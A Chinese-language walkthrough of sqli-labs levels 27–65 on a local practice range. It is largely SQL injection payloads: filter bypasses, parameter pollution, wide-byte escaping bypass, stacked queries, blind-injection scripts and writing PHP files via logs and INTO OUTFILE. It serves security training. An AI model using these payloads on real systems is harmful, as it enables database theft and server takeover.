$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
2
3
4
5
6
7
8
9
10
11
12
大小写混写绕过
?id=0'unIon%0bselEct%0b1,(seleCt%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),'3
# Less-27a
双引号类型,其他似乎都一样
?id=0"%0bUnIon%0bSeLeCt%0b1,(seLect%0bgroup_concat(schema_name)%0bfrom%0binformation_schema.schemata),"3
# Less-28
不区分大小写来过滤,会把union*select
不区分大小写的过滤掉
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union\s+select/i',"", $id);
2
3
4
5
6
测试回显来判断后台sql语句应该是')
包裹的
?id=0')%0bor%0b1=('1
畸形双写绕过,union
里套一个union%0aselect
,利用正则吞掉里面的union\sselect
,太奇怪了,正则union\sselect
里的\s
不能匹配%0b
?id=0')%0buniounion%0aselectn%0bselect%0b1,2,('3
爆库
?id=0')%0buniounion%0aselectn%0bselect%0b1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),('3
# Less-28a
翻阅源码,过滤减少了。测试思路同上题
?id=0')uNIounion%0aselectn%a0select%0a1,2,('3
# Less-29 HTTP参数污染
我去,这关有意思,先看看源码
把url参数id的值赋给$query_string,然后以&分割成数组,然后取id的值
// 把url参数id的值赋给$query_string,然后以&分割成数组,然后取id的值
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
测试:尝试传入?id=1&id=2
,可以发现页面显示的用户名不再是Dumb
,而实Angelina
这关 login.php 设置了一个白名单WAF,只允许数字,不过获取匹配的参数 $_SERVER['QUERY_STRING'] 然后匹配到第一个 id 就 break 掉了。但 PHP 通过 $_GET['id'] 获取是覆盖关系,即同时存在多个URL参数时,只获取最后一个。但WAF判断的是第1个,所以就可以绕过了。这种方式也叫HPP,HTTP 参数污染
?id=1&id=0'union select 1,2,3%23
# Less-30
同上关有些不同,需要在新的参数id
里进行原sql语句的闭合测试
这题是双引号类型
?id=1&id=0"union select 1,2,3%23
# Less-31
测试闭合原sql语句
?id=1&id=0")union select 1,2,3%23
# Less-32 宽字节注入
源码里,通过转义过滤了传入的单双引号,避免拼接到sql语句里成为闭合符
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
2
3
4
5
6
7
通过转义来实现过滤单双引号的安全措施,可以宽字节注入绕过,引用mysql注入天书
作者对宽字节注入的解释
?id=1%df'
传入id后,单引号被转义\'
,在mysql使用gbk编码时,两个字节作为一个汉字,在%df
遇到%5c
时,会把%df%5c
看作一个汉字運
,吞掉了%5c
的转义作用,绕过了过滤
发现sql语句转换16进制时,转义字符\
被系统吃了,逆天,补一个5c
前面做题多了,可以知道单引号是27
,找到两个27大概就是要找的单引号,补一个5c
补充df
,看df5c
的效果
现在可以知道,0xdf
和0x5c
两个字节在一起会解释为一个汉字運
。在url就是%df
、%5c
直接高强度日站
?id=0%df'union select 11,22,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
# Less-33
和上题有区别吗?好像没有,区别是上关是出题人自己定义一个转义函数,这里使用自带的addslashes
函数
?id=0%df' union select 1,2,3%23
# Less-34 POST
这道题使用post方式提交参数,用bp抓包提交
uname=0%df'union%20select%20version(),user()%23&passwd=1'&submit=Submit
# Less-35
提示整型注入,好像什么过滤也没有?
# Less-36
题目提示bypass mysql_real_escape_string
,绕过mysql_real_escape_string
函数
在mysql注入天书
里,作者提到
?id=0%df'union select 1,2,3%23
如果要防范MYSQL_real_escape_string
,需要把mysql设置为gbk
编码,那么说,非gbk编码时,mysql_real_escape_string
函数会像上面addslashes
一样,转义但存在宽字节注入?
翻看源码,发现,这题使用的就是gbk
编码???
# Less-37
我入
uname=1%df'%20or%201=1%23&passwd=1&submit=Submit
🤯 转义的尽头是%df
吗?
# Less-38 堆叠注入
老天奶,终于到下一个页面了,堆叠注入
提示
oracle 不能使用堆叠注入,mysql、sqlserver、postgresql 都可以
一直没有了解为什么有时候只能联合注入,有时候甚至可以对堆叠注入,学习下源码
之前的注入执行语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
2
这题的堆叠注入语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
2
3
相比,原来这里的mysqli_multi_query
函数,可以执行多条sql语句,所以可以堆叠注入🤯
联合查询就好像就够用了,我拿堆叠注入有什么新姿势?
给站长留条数据☝🤓
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database())%23
?id=0' union select 1,2,(select group_concat(id,username,password) from users)%23
?id=0';insert into users values(100,'imsb',22);%23
2
3
堆叠注入是不是可以执行任意sql语句
打开日志记录,修改日志文件、目录,查询恶意字符串写入日志
?id=0';set global general_log='on';set global general_log_file='/var/www/html/Less-38/4.php';select 1,2, 0x3c3f3d706870696e666f28293b3f3e;%23
我测,这里为什么写进去没有解析🤯
记录一下,sql堆叠注入通过日志写入木马流程
# 打开日志记录
set global general_log='on';
# 设置日志文件
set global general_log_file='/var/www/html/Less-38/4.php';
# 写入恶意字符串
select 1,2, 0x3c3f3d706870696e666f28293b3f3e;
2
3
4
5
6
# Less-39
整型注入,尝试日志写马子还是失败了
?id=0;set global general_log='on';set global general_log_file='/var/www/html/Less-39/1.php';select 1,2, 0x3c3f3d706870696e666f28293b3f3e;%23
我直接进容器调试
破案,mysql写的文件没有执行权限,我直接一个高权限战士
docker exec -it sqli-lab /bin/sh
chmod 777 /var/www/html/Less-39/*.php
2
这又是什么奇怪的报错 🤯
重新写试试,还是不行,开溜!
?id=0;select '<?=phpinfo();?>' into outfile '/var/www/html/Less-39/2.php';
# Less-40
通过页面回显可以测试出后台id是')
包裹的
?id=1');
看mysql注入天书
作者在经常使用insert
语句,多用熟悉一下
?id=0');insert into users values(101,'imsb',666);%23
# Less-41
整型注入
?id=1;insert into users values(103,'Jay','');%23
# Less-42
查看源码,题目在登录的处理方面,对username
做了过滤,password
没有过滤
login_password=1' or 1=1;select '<?=phpinfo();?>' into outfile '/var/www/html/Less-42/1.php';%23&login_user=admin&mysubmit=Login
# Less-43
查看源码,整体逻辑没变,参数的拼接方式换成了('')
包裹了
login_password=1') or 1=1;select '<?=phpinfo();?>' into outfile '/var/www/html/Less-43/1.php';%23&login_user=admin&mysubmit=Login
# Less-44
登录处理还是没有修复
login_password=1' or 1=1;select '<?=phpinfo();?>' into outfile '/var/www/html/Less-44/1.php';%23&login_user=admin&mysubmit=Login
# Less-45
漏洞测试变成代码审计了(x),不想挨个测了,我直接看源码
login_password=1') or 1=1;select '<?=phpinfo();?>' into outfile '/var/www/html/Less-45/1.php';%23&login_user=admin&mysubmit=Login
# Less-46 order by注入
order by注入,举例源码
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
2
# order by + 数字
order by后的参数id可以作为一个注入点,可以尝试使用?sort=1 desc
、?sort=1 asc
,来检测order by后能不能拼接参数,构造一些sql语句,爆出数据
?sort=1 desc
?sort=1 asc
2
尝试报错注入
?sort=updatexml(1,concat(0x7e,,0x7e),1)
?sort=extractvalue(1,concat(0x7e,0x7e))
2
时间盲注,页面进入加载状态
?sort=if(1=1,sleep(5),sleep(5))
写个时间盲注脚本
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-46/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
sort = "if((substr((select group_concat(schema_name) from information_schema.schemata)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)"
# 爆表
# sort = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆字段
# sort = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
tmp_url = url + "?sort=" + sort
start = time.time()
resp = requests.get(tmp_url)
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# order by + 数字 + procedure analyse(payload,数字)
?sort=1 procedure analyse(updatexml(1,concat(0x7e,user(),0x7e),1), )
# order by + 数字 + into outfile '文件路径'
把查询结果写入文件
?sort=1 into outfile '/var/www/html/Less-46/1.php'
能写马子吗?好像可以的,使用lines terminated by
来给写入的内容每一行末尾添加自定义内容!!🤯
?sort=1 into outfile '/var/www/html/Less-46/2.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e
# Less-47
利用order by 数字注入
原来order by也可以order by '0' or 1=1
这样
?sort=0' or updatexml(0x7e,version(),0x7e)%23
order by + 数字 + procedure analyse(payload,数字)
?sort=0 procedure analyse(updatexml(0x7e,version(),0x7e),14514)%23
order by + 数字 + into outfile '文件路径'
?sort=0' into outfile '/var/www/html/Less-47/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
# Less-48
这道题测试后台语法没有报错信息,直接试时间盲注
?sort=if(1=1,sleep(5),sleep(5))%23
脚本梭哈
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-48/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
sort = "if((substr((select group_concat(schema_name) from information_schema.schemata)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)"
# 爆表
# sort = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆字段
# sort = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
tmp_url = url + "?sort=" + sort
start = time.time()
resp = requests.get(tmp_url)
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
写个马子
?sort=1 into outfile '/var/www/html/Less-48/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
# Less-49
时间盲注猜闭合方式
?sort=0' or if(1=1,sleep(5),sleep(5))%23
猜出后台闭合方式可以直接改脚本了,或者写个马子进去
?sort=0' into outfile '/var/www/html/Less-49/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
# Less-50
时间盲注猜出后台是,整数型
怎么跟Less-48
一样?翻看源码,发现这道题可以堆叠注入了
?sort=1;select '<?php phpinfo();?>' into outfile'/var/www/html/Less-50/1.php'%23
# Less-51
时间盲注猜出后台是,单引号类型
?sort=0' or if(1=1,sleep(5),sleep(5))%23
末尾写马、堆叠写马、盲注
?sort=0' into outfile '/var/www/html/Less-51/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
?sort=0';select '<?php phpinfo();?>' into outfile'/var/www/html/Less-51/1.php'%23
# Less-52
时间盲注猜出后台是,整型
?sort=0 or if(1=1,sleep(5),sleep(5))%23
末尾写马、堆叠写马、盲注
发现个小问题,前面Less-51
写马的时候,字符型order by '0'
成功写马,这道题整数型order by 0
就失败了,换成order by 1
可以正常写入
?sort=1 into outfile '/var/www/html/Less-52/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
?sort=1;select '<?php phpinfo();?>' into outfile'/var/www/html/Less-52/1.php'%23
# Less-53
时间盲注测试出后台是,单引号类型
?sort=0' or if(1=1,sleep(5),sleep(5))%23
末尾写马、堆叠写马、盲注
?sort=0' into outfile '/var/www/html/Less-53/1.php' lines terminated by 0x3c3f3d706870696e666f28293b3f3e%23
?sort=0';select '<?php phpinfo();?>' into outfile'/var/www/html/Less-53/1.php'%23
# Less-54
老天奶,终于到page 4了
提示
The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
在挑战次数小于10次时,数据库CHALLENGES
会根据密钥生成随机表,超过10次,会根据密钥生成随机表,随机列,随机数据
10命通关吗,有点意思
或许也可以通过使用代理、切换浏览器、清楚cookie等方式绕过服务器的次数限制,这里好像是根据cookie记录的,次数快到了清楚cookie刷新页面
测试后台闭合方式
?id=0'or 1=1%23
2,3为回显位
两个回显位,干脆一次爆表、爆字段
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database())%23
爆数据
?id=0'union select 1,2,(select group_concat(id,'-----',sessid,'-----',secret_3182,'-----',tryy) from B77BC4ZQI3)%23
# Less-55
测试后台闭合方式
?id=0) or 1=1%23
爆表、爆字段
?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database())%23
爆数据
?id=0) union select 1,2,(select group_concat(id,'-----',sessid,'-----',secret_3182,'-----',tryy) from B77BC4ZQI3)%23
# Less-56
测试后台闭合方式
?id=0') or 1=1%23
爆表、爆字段
?id=0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database())%23
爆数据
?id=0') union select 1,2,(select group_concat(id,'-----',sessid,'-----',secret_8N8A,'-----',tryy) from 07Z057A61B)%23
# Less-57
测试后台闭合方式,双引号类型 测了11次
?id=0" or 1=1%23
爆表、爆字段
?id=0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database())%23
爆数据
?id=0" union select 1,2,(select group_concat(id,'-----',sessid,'-----',secret_W1BG,'-----',tryy) from RGQEZ8TA8R)%23
# Less-58
测试后台闭合方式
?id=0' or 1=1%23
联合查询没有回显,但是测试过程有报错,报错注入
爆表、字段
# 表名 1I2IZXOTD3
?id=0' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
2
# 字段名 id,sessid,secret_4FE6,tryy
?id=0' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)%23
2
爆数据
?id=0' or updatexml(1,concat(0x7e,(select group_concat(secret_4FE6) from 1I2IZXOTD3),0x7e),1)%23
# Less-59
测试后台闭合方式
?id=0 or 1=1%23
爆表、字段
# 表名 K7RBPJ7JI6
?id=0 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
2
# 字段 id,sessid,secret_9FTK,tryy
?id=0 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e))%23
2
爆数据
?id=0 or extractvalue(1,concat(0x7e,(select group_concat(secret_9FTK) from K7RBPJ7JI6),0x7e))%23
# Less-60
测试后台闭合方式
?id=0") or 1=1%23
爆表、字段
# 表名 FJ6S67618K
?id=0") or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
2
# 字段 id,sessid,secret_BG4H,tryy
?id=0") or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e))%23
2
爆数据
?id=0") or extractvalue(1,concat(0x7e,(select group_concat(secret_BG4H) from FJ6S67618K),0x7e))%23
# Less-61
测试后台闭合方式
?id=0')) or 1=1%23
爆表、字段
# 表名 7L3F6QOYU6
?id=0')) or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23
2
# 字段 id,sessid,secret_RLGQ,tryy
?id=0')) or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e))%23
2
爆数据
?id=0')) or extractvalue(1,concat(0x7e,(select group_concat(secret_RLGQ) from 7L3F6QOYU6),0x7e))%23
# Less-62
为什么给了130次机会 🤯
测出后台闭合方式
?id=0') or if(1=1,sleep(5),sleep(5))%23
时间盲注?130次时间盲注就是用二分法优化也不够用吧 🤯
试试能不能写个马子进去
?id=0') union select 1,2,'<?=phpinfo();?>' into outfile'/var/www/html/Less-62/1.php'%23
成功
# Less-63
测试后台闭合方式
?id=0' or 1=1%23
写个马子
?id=0' union select 1,2,'<?=phpinfo();?>' into outfile'/var/www/html/Less-63/1.php'%23
成功
# Less-64
测试后台闭合方式
?id=0)) or 1=1%23
这回不写马子了,把查询结果写到文件里
爆表、字段
# 表名 7L3F6QOYU6
# 字段 secret_RLGQ
?id=0)) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) into outfile '/var/www/html/Less-64/1.php'%23
2
3
爆数据
?id=0)) union select 1,2,(select group_concat(secret_RLGQ) from 7L3F6QOYU6) into outfile '/var/www/html/Less-64/2.php'%23
成功
# Less-65
测试后台闭合方式
?id=0") or 1=1%23
爆表、字段
# 表名 7L3F6QOYU6
# 字段 secret_RLGQ
?id=0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) into outfile '/var/www/html/Less-65/1.php'%23
2
3
爆数据
?id=0") union select 1,2,(select group_concat(secret_RLGQ) from 7L3F6QOYU6) into outfile '/var/www/html/Less-65/2.php'%23
成功
我测,鬼打墙了,这两关表名、字段、数据一样?
# Less-66
我的Less-66哪去了
# 最后
好像做完了?喵了个咪的,这个靶场质量太高了,感谢大佬们的分析以及总结,燃尽了
参考、致谢: